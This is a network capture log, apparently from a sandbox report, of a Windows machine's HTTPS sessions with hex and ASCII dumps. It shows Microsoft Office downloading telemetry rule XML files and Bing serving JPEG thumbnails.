2024-11-23 20:59:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205923Z-174c587ffdf9xbcchC1TEBxkz4000000039000000000ee5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205923Z-178bfbc474btvfdfhC1NYCa2en00000005500000000029sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205923Z-174c587ffdfcj798hC1TEB9bq400000003h000000000nrsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205923Z-174c587ffdf9xbcchC1TEBxkz4000000038g00000000ga0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49753	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:23 UTC	346	OUT	GET /th?id=OADD2.10239379264246_1WZI9SDGXO2UI868L&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 20:59:23 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 261190 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 292FEDBE55E345B9966C4B8D99081D0C Ref B: EWR311000104037 Ref C: 2024-11-23T20:59:23Z Date: Sat, 23 Nov 2024 20:59:23 GMT Connection: close
2024-11-23 20:59:23 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 38 3a 32 34 20 30 39 3a 34 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:08:24 09:48:028C
2024-11-23 20:59:23 UTC	16384	IN	Data Raw: 22 9c 52 60 0e 94 ed a7 fc 9a 6b 74 a0 4c 6a 8f 9a 9d b4 9a 14 10 d4 a3 07 a9 e3 14 0c 67 3d 05 1b 48 5c f6 a7 e7 9a 41 f7 70 68 15 86 d1 cf a5 38 75 c0 a3 a6 71 f8 d2 63 13 1e bd e8 a0 8c 60 8c 8a 29 5d 80 d6 c0 fc e9 30 0f 5a 70 f5 a0 f0 d8 ae c3 84 6d 2a 8c d2 9e 71 45 00 36 8a 76 7e 6c 7a 50 71 de 80 1b 45 38 8c f3 48 b4 00 71 da 92 94 9f 94 0f 4a 42 73 40 05 1d 5b 8e f4 bd 69 06 43 64 d0 20 eb cd 18 fe 42 8e 40 a5 cd 00 25 2b 0c 50 79 6a 4a 06 04 9f 6a 28 c7 6a 55 38 a0 04 1c 50 0f 04 d1 fe 73 41 c9 eb 40 85 1c 30 a4 c7 6a 5c e3 8a 40 33 40 c5 f6 f7 a4 a5 ed 8a 5c f6 a0 42 63 b8 a0 83 cf e1 4b 8f 9b 34 11 9a 06 37 eb 4a 07 61 c5 00 e7 22 90 f2 d9 14 00 01 da 95 78 e4 f4 a4 a5 dd ed 40 ac 2a f4 a0 f3 46 e1 d7 14 03 e9 de 81 89 8c 36 7b 75 a4 5e b4 e6 Data Ascii: "R`ktLjg=H\Aph8uqc`)]0ZpmqE6v~lzPqE8HqJBs@[iCd B@%+PyjJj(jU8PsA@0j\@3@\BcK47Ja"x@F6{u^
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: ed fc 4d 04 87 be 0d 38 2d 18 c2 9c 73 9a 70 1f 29 c7 5a 0a b6 84 78 3b 49 f4 a3 fa 8a 7e 33 f4 f7 a4 23 e6 18 14 12 37 e9 cd 1f c5 cf 4e f4 e1 f7 b3 48 ca 46 48 ea 3a d0 02 60 51 ef ed 4a a3 34 80 13 40 09 8a 56 14 b8 a5 06 80 1b 8e f4 8b ca e7 6d 3b 18 e3 1c 66 90 f2 d8 3d 28 01 3d cf 07 a5 28 03 cb 20 fe 14 63 2a 33 d6 82 73 40 c6 81 9a 09 02 9f b7 14 98 ef fd 28 10 dc 77 f4 a5 51 fa fe 94 ec 63 ad 2b 28 db f5 19 a0 69 26 30 0f 94 d0 bc f0 78 a5 6c 86 03 d6 8c 1d dd c7 34 0d 58 31 8e 0d 1b 7b 8a 77 14 e3 82 bc 75 a0 56 23 fe 1f c6 84 03 f1 a7 01 f3 10 3b 50 06 39 14 08 08 c2 e6 9a 7e f7 cd 4e cf 6f d6 90 af cd ef ed 40 ec 2e 3b 50 54 f5 ef 4f 5c 53 49 f4 a0 2c 26 4e ea 17 b7 f2 a5 00 15 3e b4 9f c3 9f 6f ca 80 d4 72 9c 7d 73 d2 86 e1 80 26 9a 3d a8 a0 Data Ascii: M8-sp)Zx;I~3#7NHFH:`QJ4@Vm;f=(=( c*3s@(wQc+(i&0xl4X1{wuV#;P9~No@.;PTO\SI,&N>or}s&=
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: 43 5c f7 8b a3 b5 d3 2e ac 42 ad c6 6e 2d 04 d2 15 90 90 58 b3 0c f2 7d aa e7 83 2f ec 03 4b 65 7a f7 30 49 2b 86 b7 0d 19 6c 02 30 7a 64 ae 4d 4b 8c 5c 34 2a 2a 7c d7 31 f4 ed 2e 29 fc 4d 25 d4 91 01 8b 92 c5 5f a8 19 e3 ea 6b 9d b0 d3 e6 6d 36 ff 00 ca b2 b8 2d f6 f0 76 ac 47 24 61 c6 7a 72 2b b8 b5 92 27 d6 2e b6 38 75 57 2a 19 79 ce 3a 1a d4 56 1c 72 fd 3d 0d 74 46 2a c7 34 aa 34 d9 8b 74 0a ea 56 c1 38 23 ca c7 d4 0e f5 d4 6a 3a 2d c5 b6 bd 07 f6 6d dc 96 66 e6 29 25 90 27 cd 1b b0 0a 72 54 e4 77 3d 39 ae 67 50 3f f1 3b 42 a0 f3 2a 0e 78 cd 7a c2 a4 13 ac 73 21 8e 5d a8 55 5d 70 71 c0 04 64 74 fa 56 58 9f b2 74 61 1d 93 3c 2b c4 5a ee bb a5 78 9e ec 20 89 de e6 73 b9 56 3c 06 6c 01 bb 83 90 48 3d 32 45 77 1e 09 d4 1f 5c d0 58 ca 21 f3 e1 22 39 23 12 Data Ascii: C\.Bn-X}/Kez0I+l0zdMK\4*\|1.)M%_km6-vG$azr+'.8uWy:Vr=tF44tV8#j:-mf)%'rTw=9gP?;Bxzs!]U]pqdtVXta<+Zx sV<lH=2Ew\X!"9#
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: e7 3d 79 1d 2b ba 9c 5a 4b 56 85 f5 a5 25 ac 53 3c ef 42 d0 b5 03 72 8d 63 73 79 0c 03 e6 ca 07 8b 18 e9 80 71 8c 9e 38 1d 6b b3 f0 bd 9e b5 65 1f 9a f6 92 5c 2b 48 16 69 9a 46 7c 03 d4 92 49 2c 7d aa cd f5 f2 5a e9 b7 33 9b 40 04 13 24 68 4c 8c db 89 62 39 f7 18 06 ba 2d 0e f2 5b 3d 12 ca 68 63 18 bd b2 7b d9 e3 6c 90 19 5c ae d5 cf 23 20 0e fd 6b aa 12 8c 53 94 75 7e 87 25 59 4e a3 e5 96 8b b5 cc 9f 0a 2c d0 6a 93 a4 d1 49 11 29 91 bc 10 48 ce 6b a3 52 4f 2d ed cd 26 ab 7a 2e 9d 41 b6 54 75 01 8b 83 d8 8f bb eb 59 be 25 d5 ed b4 1d 12 4b fb 9f 33 e6 05 21 d8 37 96 93 1c 71 d4 0c f7 c7 e5 5d 31 9f 32 bb 38 6a 43 de b2 30 f5 13 20 f1 3e b9 13 59 34 6a e9 03 97 2d 85 24 12 00 0b 93 c9 07 39 18 fc 2a b6 9b 75 73 67 64 1e 18 22 92 06 9a 4f 3b 7c 85 4a e0 65 Data Ascii: =y+ZKV%S<Brcsyq8ke\+HiF\|I,}Z3@$hLb9-[=hc{l\# kSu~%YN,jI)HkRO-&z.ATuY%K3!7q]128jC0 >Y4j-$9*usgd"O;\|Je
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: 8e b2 d8 59 5c ad d7 f1 b4 a4 28 52 46 30 76 e0 f3 ed 8a e3 e5 16 3a c6 b1 3c fa 87 da 61 92 f1 00 f3 9e 33 c3 1e 40 db 90 15 58 82 32 09 ed 54 6e 2c 2c 42 a5 b2 5b c9 1c 90 65 99 72 56 33 1f 76 0c 7b fe 24 56 12 a9 73 9a 58 99 bb a4 f4 20 d5 2e 64 f2 ee 25 84 33 b4 af e6 66 33 82 b8 1f 30 07 9d b8 27 b9 26 bd 63 c1 3e 19 d7 61 d2 f4 db 93 70 d0 47 75 08 93 76 19 2e 08 23 20 ee 04 86 53 fd e5 e2 bc bf 4d d3 a6 8a e6 5d 4a 3b 4b f9 ed 0d b1 db 1d bb 79 66 52 39 23 24 11 80 3a e7 07 9a 95 7e 23 eb 6f e1 e8 f4 dd 2b ce b0 8e 07 0d b9 67 32 b9 ec 0e e2 30 07 b0 18 c5 2a 72 92 97 b8 af f3 1d 2a 8a 32 d5 5c f6 81 7b af 43 b2 e2 ee 38 af e1 91 98 27 9c c4 3f ca 71 cb 0f 43 c5 5e 87 c4 96 72 dd 24 17 31 49 65 70 c0 64 e3 7c 79 27 a8 23 d3 dc 57 13 f0 d3 c6 ad 75 Data Ascii: Y\(RF0v:<a3@X2Tn,,B[erV3v{$VsX .d%3f30'&c>apGuv.# SM]J;KyfR9#$:~#o+g20r2\{C8'?qC^r$1Iepd\|y'#Wu
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: 2b 6a 01 e6 b9 49 19 d5 23 1b 55 41 c0 f7 c9 c5 74 da 36 a0 d6 d7 5a f6 98 6e b1 6a 6c ad ae 12 dc a9 6f 3a 40 02 8c 63 38 da 5b 77 b8 15 d8 5c 7c 29 b6 fb 2a a5 d6 bb a7 c9 23 86 10 ba 59 4e ab 11 19 24 90 73 b8 75 e3 8e bd 6a 5f 0e fc 39 b7 8a e2 6b f3 e2 1b 1b ff 00 36 01 14 86 0b 49 63 c2 81 90 0b 1c f0 70 38 18 3f 5a f4 65 c7 fc 3d 2a 7c f2 aa dd af f6 27 df 4f b3 6f bd 91 1c 9f 11 19 de 9b e5 4f ae be 8f a1 c1 78 73 e1 76 83 af 69 27 51 8b 55 d5 20 b8 60 cf 34 52 59 c6 00 6f 98 e5 49 1f 32 92 3a 8a d4 bd f0 57 87 2f be 18 e9 3a de 8d a7 db 69 57 4a a9 6f 76 c6 ef 22 7d a1 89 99 95 f0 37 33 10 09 04 05 18 c5 75 9a df c3 8d 62 ea de 38 34 ed 7e 4b 6b 51 18 8d e1 90 4d 22 61 88 60 ab b4 0d a3 23 a7 3f d2 b2 f5 6f 86 5a f3 c7 1b da eb eb 25 ba c0 f1 07 Data Ascii: +jI#UAt6Znjlo:@c8[w\\|)#YN$suj_9k6Icp8?Ze=\|'OoOxsvi'QU `4RYoI2:W/:iWJov"}73ub84~KkQM"a`#?oZ%
2024-11-23 20:59:24 UTC	16067	IN	Data Raw: 47 00 92 72 b8 eb 9f 5a 92 f6 f2 48 a4 49 6d c4 4a a4 15 64 ce e8 ce 07 23 1d 8e 4f d7 35 56 d5 c9 80 0b 8b b8 c4 21 cb 79 2d 21 c9 1d 72 48 f7 35 55 4c 72 6a 12 18 32 16 4f ba 09 e7 f1 1f d7 b5 26 ae 4a 8d de a5 cd 3e 6d 9a 7c e1 86 c6 70 18 11 c1 e0 9e e7 f3 a9 27 71 fd 93 de 4f 2e 40 15 b0 18 32 81 c6 4f 71 8e 3e b5 05 a9 7f b4 da 24 db 5b e6 2a e8 f8 50 47 40 09 f4 c9 eb 4f b8 54 8d 64 8b 2a 14 39 65 db f3 67 68 fb a3 b6 29 75 14 a3 14 c8 67 b8 9e 26 8c 19 76 c8 10 7c c3 aa 6e 39 04 1f 50 3f 2a d3 b7 9e 29 21 05 df 2c c4 61 94 fc d1 1c f3 90 7d 7a fd 6a a4 92 2d dd bb 5c 17 8f 11 aa ac a1 88 5e 49 c6 54 fa 0e b5 46 c8 cd 1d cd cc 66 52 07 99 df 80 48 ed cf 20 11 cf 15 5d 08 b6 87 40 d7 d8 97 6b 86 4c 36 14 63 2c 73 d1 86 48 ee 3b 53 2f 8c 37 36 12 dd Data Ascii: GrZHImJd#O5V!y-!rH5ULrj2O&J>m\|p'qO.@2Oq>$[PG@OTd9egh)ug&v\|n9P?*)!,a}zj-\^ITFfRH ]@kL6c,sH;S/76
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: b7 ff 00 5e ba 72 4c da 58 c8 38 cd 5a 71 f8 93 4d 59 fa 3b 3d b5 3a 33 4c b2 9d 05 1a b4 a4 a5 09 6c d6 be ba fa 90 68 b6 57 97 b6 16 d6 36 b6 d3 5e 5c 17 0a 22 82 33 24 9b 80 24 85 50 09 3c 73 c7 a1 a4 d4 d5 95 24 86 48 a5 12 47 09 33 af 96 4a c2 a3 8c b7 f7 79 2a 39 c7 24 0e f5 65 22 b9 d3 26 b8 b6 79 19 2e 15 d1 bf 73 36 76 90 32 4a ba 9c 72 0f 50 7f ad 3e 6d 4b 55 b0 f0 c6 b7 a7 45 72 cb 63 ac 47 12 de 8c 06 6b 8f 2d b7 c6 ac c7 e6 c0 3c e0 10 33 d7 38 af 5e 52 a8 dd e3 67 b7 e7 af e1 b7 7e e7 cd 72 4b da be 67 ee 5b b6 b7 fc ac 72 d6 c5 c3 ed 4e 70 06 7b 7e 5d ea 4f 11 90 6e 21 41 f2 b2 45 8c 77 c6 72 09 f5 3c d2 2c b6 26 44 5b 57 73 b9 10 11 23 02 44 98 f9 88 c0 03 1b ba 0e a0 52 6b 63 17 a1 1b 21 c0 03 1e ab 8e a2 bb 76 91 99 0d b8 56 b3 94 16 cf Data Ascii: ^rLX8ZqMY;=:3LlhW6^\"3$$P<s$HG3Jy*9$e"&y.s6v2JrP>mKUErcGk-<38^Rg~rKg[rNp{~]On!AEwr<,&D[Ws#DRkc!vV
2024-11-23 20:59:24 UTC	16384	IN	Data Raw: dd ab 8d d6 3c 47 7b 0d e5 d6 95 79 72 d2 24 97 52 5f 19 a3 8c ed dd 28 19 6d a0 12 37 70 33 91 8c 7e 35 dd f5 5a ee 73 4e 31 51 7d 55 ee fa be 8b f5 39 65 5e 8d 38 2b 4e 4e 4b 6d 15 97 e6 76 de 19 bd d2 93 c6 77 57 7e 25 5b 43 aa c7 61 3f d9 64 6b b7 6b 49 25 8e 45 da 19 40 e4 9d a4 30 3f 29 c8 03 d6 bb 9f 12 78 8f 42 bc f0 a6 9e 0e a3 62 f2 1b 91 34 da 75 a5 b2 5a c8 1b ca 94 82 c9 90 ad d5 47 24 f4 f7 c5 78 44 7e 4c 9b 0c b7 17 6c db f6 a9 2b b7 19 00 8f 98 f2 32 39 ef d0 54 fe 25 8f 46 d2 f5 0f b3 5b f9 92 33 28 92 35 ba 65 72 cc 39 38 20 01 82 7b 75 15 85 4c a2 85 6a f4 e5 26 ef 1d bb 7f c0 34 a5 9b 55 a7 4e 4b 95 3b f5 d2 e7 59 fb 37 eb 36 96 9e 15 bb d3 5e 28 bc f3 73 e7 2c d7 37 e2 de 0d a4 01 c8 da c4 9c f3 c0 e9 5a be 3a bb f1 1f 86 ae 3e d9 69 Data Ascii: <G{yr$R_(m7p3~5ZsN1Q}U9e^8+NNKmvwW~%[Ca?dkkI%E@0?)xBb4uZG$xD~Ll+29T%F[3(5er98 {uLj&4UNK;Y76^(s,7Z:>i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49754	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:23 UTC	375	OUT	GET /th?id=OADD2.10239379264247_1V1UB3I9T9AQAMZ40&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 20:59:23 UTC	863	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 415508 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A93BC4CD1CCD491191C3C9686029F09B Ref B: EWR311000103023 Ref C: 2024-11-23T20:59:23Z Date: Sat, 23 Nov 2024 20:59:23 GMT Connection: close
